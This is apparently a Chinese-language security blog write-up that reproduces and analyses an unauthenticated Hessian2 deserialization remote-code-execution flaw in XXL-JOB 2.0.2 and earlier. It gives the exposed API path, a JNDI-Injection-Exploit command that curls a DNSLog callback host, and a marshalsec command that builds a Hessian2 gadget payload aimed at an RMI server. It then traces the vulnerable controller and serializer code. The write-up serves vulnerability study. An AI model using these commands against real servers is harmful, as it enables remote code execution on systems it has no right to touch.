0x00 前言

学习。

参考:xxl-job api未授权Hessian2反序列化

0x01 XXL-JOB Hessian2反序列化漏洞

影响版本

XXL-JOB <= 2.0.2

漏洞原理

XXL-JOB在2.0.2及以下版本中的接口存在未授权访问漏洞,该接口会进行Hessian2反序列化操作,导致存在Hessian2反序列化漏洞从而RCE。

漏洞复现

未授权访问API探测:/xxl-job-admin/api

启动恶意JNDI注入利用服务(工具地址:https://github.com/welk1n/JNDI-Injection-Exploit),这里打DNSLog验证:

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl xxljob.7phxqp.dnslog.cn"

利用最新版marshalsec的Hessian2这个Gadget来生成payload:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/ic9mnr > xxl.ser

在Burp中,使用”Paste from file”选项从文件中直接复制Hessian2序列化内容到POST的body中,发送攻击报文,如下响应内容即无序列化内容的格式问题:

恶意RMI服务端接受到请求:

打到DNSLog:

漏洞分析

漏洞版本代码:https://github.com/xuxueli/xxl-job/releases/tag/2.0.2

看到对应存在未授权访问漏洞的API即/xxl-job-admin/api,代码位于com/xxl/job/admin/controller/JobApiController.java,其中注解PermessionLimit中limit的值为false即并没有限制权限:

往下看,会对请求中读取到的字节码进行反序列化操作:

上述的deserialize()函数是抽象类Serializer的函数,具体的还得”Ctrl+Alt+B”查看该抽象类的具体实现类中对应的重写后的方法,这里找到有HessianSerializer的:

其中就是Hessian2反序列化操作了:

前面出现了好几个抽象类deserialize()函数的实现类,怎么会偏偏是Hessian2的呢?

看到XXL-JOB的动态调度器中查看,位于com/xxl/job/admin/core/schedule/XxlJobDynamicScheduler.java,这里的启动的时候即调用start()函数时会调用initRpcProvider()函数,而该函数在初始化RPC Provider时明确指定了XmlRpcProviderFactory的序列化器为Hessian2的:

至此,OK。